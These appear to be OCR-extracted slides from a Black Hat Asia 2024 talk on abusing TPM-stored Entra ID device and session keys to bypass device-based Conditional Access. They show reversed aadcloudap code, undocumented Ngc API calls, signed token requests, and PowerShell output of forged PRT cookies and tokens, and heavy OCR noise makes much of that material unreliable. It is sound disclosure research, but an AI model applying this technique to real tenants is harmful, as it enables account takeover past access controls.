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Whoami

* Yuya Chudo
* Senior Advisor @ Secureworks Japan K.K

* Provides red teaming service for enterprises mainly in Japan

Secureworks
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Introduction
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Spear-phished & Compromised Active Directory

Attacker (me) Active Directory

Devi Dumped credentials with
Corporate Device Domain Admin privilege
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Pivoting to the Cloud ...

Attacker aadadmln/ Microsoft Entra ID
qwerty1234
Cracked Password
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Blocked by Entra ID Conditional Access

i .
= Microsoft
aadadmin@ .onmicrosoft.com

You can't get there from here

This application contains sensitive information and
can only be accessed from:

» MSFT domain joined devices. Access from
personal devices is not allowed.

Since you're using Firefox, you need to enable the
Firefox browser setting to allow Windows single
sign-on for Microsoft, work, and school accounts.
You must be on Firefox 91 or above. Alternatively,
you can use Microsoft Edge or Internet Explorer to
access this application.

Sign out and sign in with a different account

More details
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Conditional Access in Microsoft Entra ID

User/Group Device Application Network

Lin 0O

“brings signals together, to make decisions, and
enforce organizational policies.”
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Requires Corporate Device for Access

=S \jicrosoft Device based
2adadmin@’onmicrosoftcom Conditional Access Policy

You can't get there from here

v Require Microsoft Entra

This application contains sensitive information and
can only be accessed from:

» MSFT domain joined devices. Access from hybrld JOI ned deVICe

personal devices is not allowed.

Since you're using Firefox, you need to enable the

Firefox browser setting to allow Windows single M arked aS CO m p | I ant

sign-on for Microsoft, work, and school accounts.
You must be on Firefox 91 or above. Alternatively,
you can use Microsoft Edge or Internet Explorer to
access this application.

Sign out and sign in with a different account

More details
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How Can We Bypass
Device-Based
Conditional Access Policy?
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Goal

* Bypass device-based Condtional Access policy and gain access as

any user with their credentials
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Microsoft Entra ID
Device Authentication Mechanism
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Device Registration

#1 Device key and Transport key are generated

Device key Transport key

| A |

dkpub / dkpriv tkpub / tkpriv
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Device Registration
#2 dkpub and tkpub are sent to Microsoft Entra ID

Device ]
(win11pc01) dkpub, tkpub Microsoft Entra ID

]

My device name is “win11pc01”
and here are my keys
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Authentication Flow (Browser SSO)
#1 Send logon request signed by Device key (dkpriv)

(wi?\(:::::m) Logon request Microsoft Entra ID

signed by dkpriv

Let me validate if the
request is signed by the
“win11pc01” Device key
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Authentication Flow (Browser SSO)
#1 Send logon request signed by Device key (dkpriv)

POST /common/oauth2/token HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT: Windows NT 10.0:. ja-JP) WindowsPowerShell/5.1.22621. 2506
Content-Type: application/x-www-form-ur lencoded

Host: login.microsoftonline. com

Content-Length: 2802

Connection: close

request=
eyJhbGci0iJSUzZI1Ni I1s1CJ0eXAi0i JKV1QiLCAieDV 1 joi TUI JRDhaQONBAHFnOXdJOKFnSVFvVWSWSEwxcTFMTkdaNHk
5bORmK056QUSCZ2t xaGtpRz | SMEJBUXNGQURCNE 1 YWXAFUV 1LO1pJbW | aUHIMR1FCR1JZRGJV jBNQ | VHO2dtUOpvbVQ4daX { o
hrQVJrV012ZHBibVJ2ZDNNdOhRWURWUVFERXhaT | VSMVB jbWRoYm1sN 1 1 YUnBiM jROUVAOa | pY TnpNO3NHOTFVRUNA TWLPR alg”: "RS256"
EprWW1Gal | UUXRNM I UOTVMWMESt TmhMVGxaTnpNdE1EazFNRO14W | dGa | | UazNNQ jRYRFRJIME1ESXdOek | 6T |RBMUOWD 1hE “typ”: “JWT"
“xhc”: "MIID8 jCCAtggAw]BAgIQoUnVHL1q1LNGZ4y%0 (snip) jFAGUXRTMgN2GT jTL",
kdf_wver™: 2
|
i “username”: “employee018 com”,

“request_nonce”: “AwABAAEAAAACAOz_BQ(snip)VdQ-D2D8YPw!|0gAA”, i
“client_id": “29d9ed98-a469-4536-ade2-f981bc1d605e”, :
“scope”: “openid aza ugs”

“win_ver”: “10.0.19041. 3996"

“grant_type”: “password”
“password” ;. Tskkkkkkkkk |

payload }

oI r

signature JSON Web Signature by Deice key (dkpriv)

UJKJRUSNCEmS-4UBJUK jsALOVIMpVOSZTNSIMNnEDo / 1 90 LOLUGUUAR IRonxZ 1vaauwA&grant_type=
urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3A jwt-bearer




t

blackhat
ASIA 2024

Authentication Flow (Browser SSO)

#2 Receive PRT (Primary Refresh Token) and session key

Device

h Logon request Microsoft Entra ID
(win11pc01) signed by dkpriv
—
|
EE _ ﬁ Okay you are “win11pc01”.
PRT Session key Here are the PRT and
(encrypted)

session key
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Authentication Flow (Browser SSO)

#2 Receive PRT (Primary Refresh Token) and session key

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache

Pragma: no-cache .
Congent-Tvoe aoplication/ison. charset=utf-8 Can be USEd fOr Slngle
(lsnlpped) S O

“token_type” : “Bearer”, IQJ[] N

“expires_in":"1209599",

“ext_expires_in“:"0"

“expires_on”:“1710399316",

“refresh_token”:

N ATOATMROZCAR20NARVARRA |
0. ATOA7TmRQZG6b200dRv6BD

&, PRT

C11GA jtNdOHD9F-pmuY8xJRCKPNg TWeacl Z8pKhaF271vomLdXCH4t-konF ThOOuQpNcapTokW-xa jMQ4Qu6 | 1UHDT
“id_token”:
“eyJ0eXAi0i JKV1QiLCJIhbGci0iJub2511n0. eyJhdWQi0i 1yONQSZHOS0CTANDYSLTQTMZYYWRIMi 1mOTzxYmMxZDudl

» Can be decrypted by Transport
key and used for signing

9Jb201LCJ2ZXT1101 IxLjAIfQ. ",

hboWU101JIbXBsb3 1 1ZTAXQGShbWI 1LWR1¢2VydC5 jb201LCJ1cG4101JIbXBsb3 1 1ZTAXQGShbWI 1LWRIc2Vy
“session_key_jwe”

“eyJ1bmMi0i JBM jU2RONNT iwi YWxn] joiUINBLU9BRVA fQ. A0AJ i=kiod tyPpVvxw31LmXkX jApb1ZidDeUK-6XmSuOr ApgE22RWtnT
RammZbNH3fDPD1NL2i 1PdsoluvWL2EpEHJwec1g5ibeA2hrg ; HhCHAWF cbzGkPasEodACATF 7DEELoQ1wk50u | MtnVwcdKE
MNcxodL4TIpzer rP6KdxuY5StV46MhtU-fmDv1GKt2ahhMby Session F(EB)/ (EBf]()F)/F)tEB(i) DNMAMAA T AASABARAAAAABOALACDKSgx TwSWBuJ1C i 8HFHS

Os-w",
“device_tenant_id" :"645064ee-9b6e-43db-9d46-feB81ab5cfdea”
J
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Authentication Flow (Browser SSO)
#3 Send PRT Cookie signed by session key

Device

- PRT Cookie Microsoft Entra ID
(win11pc01) signed by session key
./

Let me check if the valid session key
bounded to device is used for signing
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Authentication Flow (Browser SSO)
#3 Send PRT Cookie signed by session key

GET /common/oauth2/v2. 0/authorize?client_id=4765445b-32¢c6-49b0-83e6-1d93765276cadredirect_uri=https%3a%h2f%2fwww. of fice. comb2flandingv2&
response_type=code+id_token&scope=openid+profile+httpsh3ah2f%2fwww. of fice. com2fv2%2f0fficeHome. Al |&response_mode=form_post&nonce=
638448025768012973. NjZiNmRiMjAtMGF i0CO0Yz | ILWESNTEtMzKk1ZWESN jhiNzd jZWFiZ jY2ZTctN2EzNSOONT J>4- —_

client-request-id=8b041a46-d747-4d6a-8f12-8bb35036d22a&state= *\\\\
HLROAIBz-GHxqq9f j TbeRK-eWTvznr zncSBROTAZH3a6m_NoCk j2 1541 1hi i6Ye jyY66kcUdmN2UJOE_NXTKA_| JWT payload (decoded)
vSI8LRW6-Pb5a46mYTcP2C8fghhOLUSLVFRgV3NgtHvsmaF6eN jApn9aUmzYuUKtF1ketvn1FUu7T jM2wPGzAa (
NOdwéx-c|ient-SKU=ID_NET6_0&x-client-ver=7.2. 0. 0&sso_nonce=
AwABAAEAAAACAOz_BQDO_x0QSvBvX0y1dwKAPOICnNzEv7P1snZtDgK7fHe9GARB3c2MwQ7WIqVguHeaR iNT-2

8b041a46-d747-4d6a-8f12-8bb35036d22a HTTP/1.1
Host: login.microsofton!ine. com F’FQfF

(snipped) “is_primary”: “true”,

X-Ms-Refreshtokencredential “win_ver”: “10.0.22621.3085",
eyJhbGei0iJIUzIINi Is1CJrZGZfdmVyl joyLCAiY3R41 joi TKEzWXd|d1hqaTBkdkZMR1JQa |d3MVR2Z01jSV]  “windows_api_version”: “2.0.1,

“x_client_platform”: “windows”
“request_nonce”: “AwABAAEAAAACAOz_BQDO_x0QSv(snip)Y-9T38gAA”

“refresh_token”

‘0 ATOATmROZGEb200dRY6BD | 2080010 ihtaRdAlenVEMImI 2 TuMGtNmOL Cx 10 iz
0. ATOA/mRQZG6b200dRv6Bp | 2880claihtaRdlenGMm] 2 TUMGtNMOLCx 10 )2

-

PRT Cookie

VI4M2MyTXdRN1c5cVZndUh | YVJpV1Qt YWF TeXhJUCTHN jYxcnBnliFkt0VQz0GdBASUY. 0gSQLtJyfKaTwfDGuUVSPty6ih2vr Zy3JXVKbUKDY3Q
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Device Authentication Mechanism

* Device key and Transport key are generated and registered
* Microsoft Entra ID identifies device In tenant by signatures of
Device key and session key

» Session key can be used when decrypted by Transport key

> By signing a specific user’s logon request and PRT with the keys,

We can access to resources as a registered device
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Prior Research

* Device key, Transport key and session key are securely stored In

TPM (Trusted Platform Module) if available
* EXxporting a derived key of session key for creating PRT Cookie Is

discovered by Benjamin Delpy and Dirk-jan Mollema (Patched as CVE-
2021-33781)
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Research ldea

If we understand how the TPM stored keys are handled,

we can still abuse them for faking device?
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Device Authentication Intemals
and Abuse
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How Google Chrome

Chrome
(Windows Accounts
Extension)

MicrosoftAccount 5
TokenProvider.dll \
N !
—_— —o GetCookielnfoForUri

o

Handles Browser SSO

Abuse for PRT Cookie Theft

- BrowserCore approach

(ROADtoken by Dirk-jan Mollema)

- DLL approach

(RequestAADRefreshToken by Lee Christensen)
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push
sub
Mo
Mo
Mo
mow
mow
mow
mow
mow
Mo
Mo
Mo
MoV

Reversing GetCookielnfoForUri

rbx

rs<p, 48h

rax, [rsp+d8h+arg 38]

rl&, r9

r9d, [rsp+48h+SubmitBufferlLength] ; SubmitBufferlength

rlld, rad -

[ rsp+48h+ProtocolStatus], rax ; ProtocolStatus IE)EitEi IS S;EBr]t t() an

rcx, rdx ; LsaHandle - - .
rax. [rsp+dSheary 0] authentication package in
ré, rl@ ; ProtocolSubmitBuffer

[ rsp+dB8h+ReturnBufferlength], rax ; ReturnBufferlLength Isassexe for PRT COOkle

edx, rlld 3 AuthenticationPackage .
rax, [rsp+d8h+arg 28] rEEtrIEB\/Eil

[P5p+d8h+PrutuculHetuPﬂBuFFEP], rax ; ProtocolReturnBuffer

Icall

cs:  dmp LsaCallAuthenticationPackage |

nop
add

pop
retn

dword ptr |rax+rax+oon |
rsp, 4@h
rbx
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Reversing GetCookielnfoForUri

JSON data Is sent to

{ / Isass.exe and it includes calll
eall '_ and payload values
pay | oad

“https://login. microsofton! ine. com/common/oatuh?/authorize?sso_nonce=AwABA

AEAAAACADz _BQDO_2ub | X28k )L4VzLD jdC5ekH jPdTQe /-V&FYeFrvegAFSFdwl j2ad | Bwctgls
bO6y5ka2 109rgK7D3g9v UeZJOGogAA™,

"correlationld .

“waClientld”: "
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JSON Data is passed to CloudAP and aadcloudap

CloudAP (Cloud Authentication Provider)

i Modern authentication provider for Windows sign in
[

\ 4
aadcloudap (Microsoft Entra CloudAP Plugin)

Verifies user credentials with Microsoft Entra ID
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functions in aadcloudap are invoked

aadcloudap!GenericCallPackageHelper::GenericCallPackage

I switch ( callnum }I
1

case lu:
status = GenericCallPackageHelper::5ignPayload(al, a2, payload a4, TokenHandle, account info a6, al@);

VLo = 5Tatus,
if ( status »>= 8 )
goto LABEL 49,
w23 o= 36;
v21l = (struct CSecureString *) _DBG_BASENAME("onecoreuap\\ds\\ext\\aad\\aadcloudap\\genericcallpackagehelper.cpp")
LODWORD(v28) = status;
goto LABEL 3;
case 2u:
status =IGEHEPicCallPackageHelper::EreatESSD[nnkiefel, a2, payload ad, TokenHandle, account_info_ab, a9, 513};'

]

Ve = STatus,
if ( status »=8 )
goto LABEL 49,
v1l7 = _DBG_BASENAME ("onecoreuap\\ds\\ext\\aad\\aadcloudap\\genericcallpackagehelper.cpp");
LODWORD(v22) = 4@,
goto LABEL 11;

case 3Ju:
status = GenericCallPackageHelper::GetPrtAuthority(zl, =22, account info a6, a9, alé);
v25 = status;

if ( status »= 8 )
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What’s happening when browser SSO

Chrome
PRT Cookie
. I PN pal
BrowserCore.exe \\~\ =
\\
-
Vv |sass.exe
MicrosoftAccount
TokenProvider.dll RPC,
_‘ .
— * —o GetCookielnfoForUri
. : : call number,
i :  payload

LsaCallAuthenticationPackage :----+-- :

aadcloudap

1 SignPayload

—+ 2 CreateSSOCookie

3 GetPrtAuthority

4 CheckDeviceKeysHealth

15 GenerateBindingClaims
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Replicating the flow for another PRT Cookie theft

Malware aadcloudap

g 1 SignPayload
BrowserCore.exe

. —+ 2  CreateSSOCookie
Isass.exe
MicrosoftAccount RP 3 GetPrtAuthority
TokenProvider.dll C}
& GetCookielnfoForUri 4 CheckDeviceKeysHealth
: call number,
:  payload
» | LsaCallAuthenticationPackage }--++-+: :
15 GenerateBindingClaims
LN
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cx] IYVF 70U7h - powershell X | A

PS C:\> Request-PRTCookie
| eyJhbGc101JIUZIINIISICIrZGZfdmVyIjoyLCA1Y3RUIJjo1MzUzbOIMKOtmbnpyYUpSUlpUWTLcLOd3aDhqeTV3VFpxIn®.eyJyZWZyZXNoX |
3Rva2VuIjoiMC5BVDBBN21SUVpHNmIYME9kUNnY2QnBse jk2b2M3cWpodG9CZELzblY2TVdtSTIUdWhBUFEUQWdBQKFBRUFBQURUZM9saEpwU2

LuZG93cyISICIYyZXF1ZXNOX25vbmN1lI joiQXdBQkFBRUFBQUFDQU96X0JRRDBfeGFrTDZiU31lauXQuSzUutcHBOavVkOVIVyM31tMldhZ19HYKZ
FMy1lmMGFvVDdxYmJ3U2hiQXdwXzBvVmx0Uz1iSkp2au95dnFoTKk9YTjBFfODNfMktvMDRNQUELFQ.K7xh3mFCyS_5F-Ew)XCBwi_suYGANgQIW
MUYxzLhPzk
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v

e JVVF 707 - powershell X iF

1 PS C:\> Reque:
0.eyJyZWZyZXNoX

| eyJhbGci0iJIU :
3Rva2VuIjoiMC! Abuse for PRT COOkIe Theft BQURUZm9saEpwu2

- BrowserCore approach

(ROADtoken by Dirk-jan Mollema)

- DLL approach
(RequestAADRefreshToken by Lee Christensen)

- [New!] LsaCallAuthenticationPackage approach

LluZG93cyIsICIYyZXF1ZXNOX25vbmN1lI joi1QXdBQkFBRUFBQUFDQU96X0JRRDBfeGFrTDZiU31lauxXQuSzUtcHBOaVkOVIVYM31tMLldhZ19HYKZ
FMy1lmMGFvVDdxYmJ3U2hiQXdwXzBvVmx0Uz1iSkp2au95dnFoTKk9YTjBFfODNfMktvMDRNQUELFQ.K7xh3mFCyS_5F-Ew)XCBwi_suYGANgQIW

MAYxzLhPzk
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Replicating the flow for another PRT Cookie theft

» Retrieved PRT Cookie allows us to gain access as a logged-on

user
* To achieve the initial goal, we want to sign user's logon request by

Device key
» “SignPayload” function in aadcloudap looks interesting ...
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Reversing aadcloudap!SignPayload

__inte4  fastcall GenericCallPackageHelper::SignPayload(
struct AadContextFunctions *this,
struct PluginState *pluginState a2,
struct CSecureString *payload a3,
void *hToken_ a4,
struct AP BLOB *accountInfo_a5,
struct CSecureString *outBuffer_ab6)

{

LODWORD (status v28)

CheckPackageSidForRequestSign(this, hToken_a4);

LODWORD (status v28)

BuildDeviceAuthAssertion(
this,
pluginState a2,
payload a3,
bKdf v10,
assertion v29);
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Reversing aadcloudap!SignPayload
BuildDeviceAuthAssertion
— Data sent by LsaCallAuthenticationPackage

{
"call”: 1,
"payload":
{
\"username\": \"employee@l@****x*¥kkAk\"
\"passwor\d\": \"**********\"
\"request_nonce\": \"AwABAAEAAAACAOz (snip)xgKRkgAA\",
sni
p (P Base64UrlEncode
} - ] "
Sign by Device key (dkpriv)
v
eyJhbGciO1JSUzIINiIsICIQeXAi0iJKV1QiLCA... . eyAgICAidXNlcm5hbWUiOiAgImVtcGxve...
header payload

eyJhbGciO1JSUzIINiIsICJ0eXAiO1JKV1QiLCA... . eyAgICAidXNlcm5hbWUiOiAgImVtcGxve... . uIMsJz8dQAcT6SaiQpWiJAmgCzdkWy. ..
header payload sighature

S Data returned to a Ca”er process ..........................................................................................................................
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Reversing aadcloudap!SignPayload

CheckPackageSidFor

 Checks if a caller process’s sid is “S

RequestSign
-1-15-2-1910091885-

1573563583-1104941280-2418270861-3411158377-2822 /00936-

2990310272
 Without valid SID, BuildDeviceA

uthAssertion Is not called and

SignPayload doesn't generate L

ievice key signed request



t

black hat
ASIA 2024

Reversing aadcloudap!SignPayload
CheckPackageSidForRequestSign

 The SID is for the AppContainer, AAD token broker

* With some tricks, we can impersonate this SID!

‘B Microsoft.AAD.BrokerPlugin.exe Properties >

General  Digital Signatures  Security  Details  Previous Versions

. \ ficrozaft 2450 BrokerPlugin. exe

Twpe of file:  Apphcation [.exe)

Dezcnption: &40 token broker plugin
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Impersonate AAD token broker for Device key signing

Malware Signed logon

request aadcloudap.dll
= —+ 1 SignPayload
™ 2  CreateSSOCookie

|sass.exe
‘ - 3 GetPrtAuthority

Impersonate

o RPC
» LsaCallAuthenticationPackage -«=======ssususe: > o—
call number, 4 CheckDeviceKeysHealth
payload
15 GenerateBindingClaims
LN
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Send logon request signed by Device key

POST /common/oauth2/token HTTP/1.1 HTTP/1.1 200 OK

User-Agent: Mozilla/5 0 (Windows NT: Windows NT 10.0: ja-JP) Cache-Control: no-store, no-cache
WindowsPowerShel1/5.1.22621. 2506 Pragma: no-cache

Content-Type: application/x-www-form-ur lencoded Eggff:gJZ?e SPP{DALTSIV S0V SN SATNULED

Host: login.microsoftonline. com Strict-Transport-Security: max-age=31536000: includeSubDomains
Content-Length: 2792 X-Content-Type-Options: nosniff

Connection: close P3P: CP="DSP CUR OTPi IND OTRi ONL FIN”

x-ms-request-id: 6a0e6251-b4f8-41f7-albf-bfb85f916d01
x-ms-ests-server: 2.1.17396.8 - JPE ProdSlices

request:
eyJhbGeci0iJSUzIINiIsICJOeXAiOiJKVIQiLCAieDVjljoiTUIJRDhgQONBAHFnOXdJQKFnSVFVVWSWSEwxcTF [
MTkdaNHk5bORmK056QUSCZ2t xaGtpRz | SMEJBUXNGQURCNE 1 YWXAFUV ILQ1pJbW | aUHIMR1FCR1JZRGJY iBNQ | “token_type”: “Bearer”.

“expires_in’ 120“ 99”,

“ext -expires_ |n il

“expires_on”: 171054955

“refresh_token”

“0. ATOATmROZG6b200dRv6Bp |1 296p jt2S | ppDZFrel 5gbwdYF6hAPQ. AgABAAEAAADNTo | hJpSnRYB1SV j-Hgd8AgDs_wUAIP_1839cA6T_0Zf90s8

PRT

0ThSEJWsKwNoao2Kr HquaSSH 00Cth3zpsL060kkAM69WyDPINPZGTNchC quLAGOOcpIMavOOJAchyoMWIQtsESMdlTUYCgKLFLOMuOtMuﬁ
LeQUhW-Bu j_xhYI szGrXpOquXnngApxow
“id_token”

S|gned |OgOn requeSt "eyJ0eXAi0i JKV1QiLCJhbGei0i Jub2511n0. eyJhdWQi0i 1yONQSZHOS0CTANDYSLTQTMZYLYWRMi 1mOTgxYmMxZDYwNWUiLCJpc3MiOi JodHRwe

TA2NGVILT | iNmUtNDNKYi05ZDQ2LWZ 10DFhNjVjZmR1YSIsInVuaXF1ZVOuYW111 joi ZW1wbGOSZWUWMUBUYW1pYi 1KZXNIcnQuY29t 1 iwidXBu
1Z‘IH44':7@9SZNUH“UBL.'Y‘NlDY 1kZXNIcnQuY29t]iwidmVyl joiMS4wIn0.

“session_key_jwe’

“eyJbmMi0i JBMjU2ZRONNI iwiYWxnI joiUINBLU9BRVAifQ AOBZYPDOthJZVQhGM|9mX4yVJ]“CLXSQRaBOVRV bx_b1-j83mR30sUgcv-kPxk8C
Lp1_0cXhsOn3uoXd | 0gL PKHGW L gtk e R e el N X 2 T02y 1 A0OT JX | OKBD | 80FLSYY
cJV74xRGdr JCXiAJ_3BwNnolp2 zk2MOrxNIL jfWGxSCUP 1 Zq9UF 70
v|ckLmoXaywh“uQZchsoW)(SWT1 encrypted SeSS|On Ke)! |KNvRTON\!SﬂuZeE)FNhHSZEEHBCu—
ZiLgXsW_3iz3fZHoZwMRyhGgoJ | JAASABARAAAAABOALACAeaY021J
Aqyw8cYQHcuf916q1bNtOfYeSS5FfZp3NONFIA. dFpOawaNQv1URGR8. Ww. cM8ikzwciuSptCMnAFcb6A” .

JyPLSQQsqUIE7nvs iH6P7RYdD |B0sz5GdCPTZeSFsYEQ2C12haNJfMXehxmT8uxR i xmdkadgr YSf8pRsJgPh2ts
x0SSTZWXJGF77BfZ1Ksf0Z267 ImJJHrz90 jQe IRODkBxTe I TCOPNOhO ja0OhoopbYDR | UUFCAVLaGLzCNR9y-yag
rWirtSF3BSYAVYw19rz08 j0&grant_type=urn%3Aietf%3Aparamsh3Aoauth%3Agrant-type%3A jwt-bearer
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Abusing aadcloudap for Device key signing

» We can sign arbitrary user’'s logon request by Device key stored Iin

TPM, thanks to internal aadcloudap loaded in Isass.exe

* The signed request gives us its user's PRT & encrypted session
key

* For browser SSO access, we need to decrypt the encrypted

session key by Transport key and sign the PRT with it
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Undocumented APIs to interact with session key

» cyrptngc.dll functions are imported in aadcloudap.dll

« cryptngc.dll provides interface for device-stored cryptographic keys

lea rax, [rbp+57h+var BO] Mo dword ptr |rsp+llBh+var EE&|, eax
mowv [rsp+128h+var_F8], rax mov rax, [rbp+57h+var_88]
mov eax, [rbp+57h+var A8] mowv [r5p+1iﬂh+vaP_Fﬂ], rax
mow dword ptr [rsp+128h+var 1008], eax mov rd, [P?l]

- mow ré, [rdi+8]
mow r9, [rbp+57h+var AB]

mow edx, [rcx+18h]
xor edx, edx
lea rcx, [rbp+57h+var 38] = rox, [rox+20n]
[call - — 2 TePookey ] | call cs:  imp NgcSignWithSymmetricPopKey |

ca cs: 1mp MNeclmportiymmetrlicHopkey nop dword ptr [rax+rax+0on]
nop dword ptr [rax+rax+8@h] mow r8d, eax
mov ebx, eax Mo [rbp+57h+arg B8], eax
test cax, esx test eax, eax
jns short loc 1886858734 jns loc_188@524E5S
mov [rsi+8B0h], eax mov [rbx+2Ch], eax

test byte ptr cs:Microsoft Windows AADEnableBits, 4 test byte ptr cs:Microsoft _Windows AADEnableBits, 4



t

black hat
ASIA 2024

RPC Call for Your Needs

Caller process
encrypted session key

Decrypt by
- > " Transport ke
NgclmportSymmetric = \ P : 4
PopKey |
DPAPI protected session Session key blob = — = i.
key blob = =

Ngc Pop Ke - e i
DPAPI protected session gServE:e Y Session key blob & TPM i
key blob & signing input | (1sass.exe) signing input o~ |
NgcSignWithSymme i
ticPopKey |

_ Sign by session
Session key |- key

signature |=j
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Sign PRT with session key

* Undocumented APIs can import session key and decrypt it

* |Imported session key can be used for signing

Sign by session key

header payload (PRT Included)

eyJhbGciO1JSUzIINiIsICJQeXA10iJKV1QiLCA... . eyAgICAidXNlcm5hbWUiOiAgImVtcGxve. .. ‘

E eyJhbGciOi1JSUzIINiIsICIJ0eXAiO1JKV1QiLCA... . eyAgICAidXNlcm5hbWUiOiAgImVtcGxve... . uIMsJz8dQAcT6SaiQpWiJAmgCzdkWy. ..
header payload signature

e85 555885155155 PRT Cookie
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es] IVYF 70U7b - powershell X RN

PS C:\> Create-PRTCookie employeedl@ com
eyJhbGci01JIUZIINIIsImtkZ192ZXI10jIsImNOeCI6IKwIUWZtMNZZR1IFYRTMWCUNOZWVIeELNdUd2YnoyUjlwIn®.ewOKICAgICIUX2NsaWVu
dF9wbGFOZm9ybSI6ICAiId21uzZG93cyIsDQogICAgINdpbl92ZXIi0iAgI jEWL jAUMTKWNDEUMZU3MCISDQogICAgINI1ZnIlc2hfdGOrZwuiniAg

QUFFQUFBQUNBT3pfQLFEMF83N21LbE18d89qe jRQNMFiTzUzam9DSOIXZVFVNVRGSG11d1VVMH1iZ2duZ jRZaWZUc j1IaFRiQk1INDdYb21hR2RI
Z3EzaUgvMEMzWkwOeHNVUNpBRWABOSINCNO . uM1s8wV3MtonVOUmK6B209ESHXTMBU1KkAX8h1s5US7k
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Overview of the entire flow (Browser SSO)

>

dih

1.Compromise corporate machine

2. 3ign logon request by Device |
key using aadcloudap - - 3. Send signed logon request

4. Receive PRT, encrypted session key

5. Import session key to TPM and (™"
decrypt it by Transport key L

6. Create PRT Cookie by session key

7. Send PRT Cookie from attacker’s
™ machine for browser SSO
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Authentication Flow (App Tokens Requests)

» Session key signed PRT can also give us encrypted app tokens

(access token / refresh token)

Device JWT containing PRT signed Microsoft Entra ID
(win11pc01) by session key
E— =R

App Tokens (encrypted)



t

black hat
ASIA 2024

Decrypt app tokens with session key

* Encrypted app tokens can be decrypted by session key

 There I1s another undocumented API useful for us &

mow rax, [rbp+57h+var (8]
mow [rsp+13Bh+var 118], rax
mow rod, [rdi]
mow r&, [rdi+8]
mow edx, [rbx+18h]

|call cs:_ imp NgcDecryptlWithSymmetricPopKey
nop dword pLr |rax+rax+oan |
mowv réd, eax
Mo [rbp+57h+arg 8], eax
test eax, eax
jns loc_18004D136
mow rax, [rbp+57h+arg 8]
mow [rax+B8B6h], rad

test byte ptr cs:Microsoft Windows AADEnablebits, 4
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Decrypt app tokens by session key

PS C:\> Acquire-Token employeefl@ ) urn:ms—-drs:enterpriseregistration.wind
ows.net 29d9ed98-au69-u536-ade2-f981bcld665e

PS C:\> .access_token
eyJOeXA101JKV1QiLCIhbGci101JSUZIIN1IISIngldCI6I1hSdmtvOFA3QTNVYVATbLU3YKOSbLlQwTWpoQSIsImtpZCI6I1hSdmtvOFA3QTNVYVATbLU3YKO5b1lQwTWpoQSJ9.eyJhd
W010iJ1lcmU6bXMtZHIZOMVudGVvcHInc2VvZWdpc3RvYXRpb24ud21uzZG93¢cv5uzZX0ilLCIpc3Mi0iJodHRwczovL3NOcv53awWskb3dzLm5S1dC82NDUWNIRLZSO5Y1Z1LTOZZGItOWC

©7HBOOEQVBtQOaB1ChqxeUJLHKRFITihFpr6F70Nee52daEBMG-ZFQ9Vi8ws1MRHMILeTGLUjLmujUAW_MdbO9HfrTDiJUXti_o088sMml1fXB1AGOH8ytDd_rEWZRzZS8E33tdSXgull
9RhEU7Lloz-cqhxZADAEU7gfVNun8VgXbMDYEe9r-VJebWYLRFLYCrHCSwjYSENhcnSCq-jZkKV77zkqgklsms2BU407Q

PS C:\> .refresh_token

0.ATOATMROZG6D200dRV6BpLZ96p1t2S LppDZFrelL5gbwdYF6hAPQ . AGABAAEAAADNTOo LhJpSNRYB1SV]-Hgd8AgDs_wUA9P8xa3rMpPKWhMFVLMOsSWXxSWJIJc80PVC1LMulkAG]3bE

Dro6GuMtfvSzqPRLmv1pjt_IMqDzeZtmC21mPbEjY_2wP_yTXJ_LKHFNq59lumUeDauS5dedIf3niMjBL8B3xYtaT27cFhHUqzEsxBookt_gOXVQG8pfow
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Attack TL:DR #1

» By abusing TPM stored keys, attackers can create PRT Cookie or
acquire app tokens for arbitrary users with their credentials.
« Administrator privilege Is not needed for this attack

» Allows attackers to bypass Conditional Access policy based on

device
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Explore more for “Passwordless”

 Found that other undocumented APIs allow us to interact with

Windows Hello for Business (WHfB) keys stored in TPM

jz
lea
lea

mow
test
jns
mow
call
mow
lea
mow
mow

loc_ 188856A2E
r&, [rbp+57h+var 88]
rdx, [rbp+57h+var 88+8]

A ]

Ea |

2
cs:  imp NgcGetUserIdKeyPublicKey

edi, eax

eax, eax

loc_1888569E9

rcx, rsi ; char *
?_DBG_BASENAME@@YAPEBDPEBD@Z ; DBG_BASENAME(char

[rsp+128h+var EB], rl5

rcx, plertContext
[rsp+128h+var E8], rcx
[rsp+128h+var F@], 7Dh ; " }°

—
L S L

mowv r9, rax
mov r8d, dword ptr [rbp+57h+var (8]
mov rdx, qword ptr [rbp+57h+var (B8+8]
1

cs:  imp NgcSignlithUserIdKey I
nop dword ptr |rax+rax+ddh |
mowv edi, eax
test eax, eax
jns loc_18885724B
test byte ptr cs:Microsoft Windows AADEnableBits, 4
jz short loc_ 1868857148
mow r9d, eax
lea r8, aNgcsignwithuse 1 ; "NgcSignWithUserIdKey™
lea rdx, Aad CloudAPPlugin NGC _Error
call McTemplatel®zd EventlWriteTransfer
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Windows Hello for Business

» User key (ukpub/ukpriv) are registered to Microsoft Entra ID and

allows user authentication without password

Device dkpriv signed request Microsoft Entra ID
containing ukpriv signed data

Session key
=19 PRT /B (encryptec)
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Authenticating with WHfB keys

POST /common/oauth2/token HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT: Windows NT 10.0: ja-JP) WindowsPowerShell/5.1.22621. 2506
Content-Type: application/x-www-form-ur |lencoded

Host: login.microsoftonl!ine. com

GoanBoEI N lose JWT payload (decoded)

request=
eyJhbGeci0iJSUzIINiIsICJOeXAiOiJKVIQiLCAieDVjl joiTUIJRDhqQONBAHFnQXdJOKkFnSVFQcmNZROFNRVRLAE | SaE9YaENKZVh6QUS5CZ2t xa {
WXdFUVILQ1pJbWIaUHIMR1FCR1JZRGJtV jBNQ IVHO2dtUOpvbVQ4aXhrQVJrVO1zZHBibVJ2ZDNNdOhRWURWUVFERXhaT IVSMVB jbWRoYm1sNI 1 YU

“username”: “employee018 com”

“request_nonce”
“"AwABAAEAAAACAOz BQDO 5 iWhzS1eA1s)4D5801zBrtyYod4 |uEWETIMB 405X
HObswBHYy89 VSsa2ySrrwif7bI1V4AnKGFPq9y6FJ68nx2AgAA”,

“assertion”
“eyJhbGci0iJSUzITINiIsInR5cCI61kpXVCIsImtpZCl6ImtZY1F1aDYzMTU3

bUFWZUNZ " ibmd )
o n0. ew0K] ukpriv signed data 1Jsp5v
dkpriv signed request 0iJOEZ118aWT018132r xhNrBt-gueTSEu_GFWKOOT 701K6bZ 77V, dEk jVttal

Min6MmAJQ™,
“client_id”: “29d9ed98-ad469-4536-ade2-f981bc1d605e”
“scope”: “aza ugs”,
“win_ver”: “10.0.19041. 3996
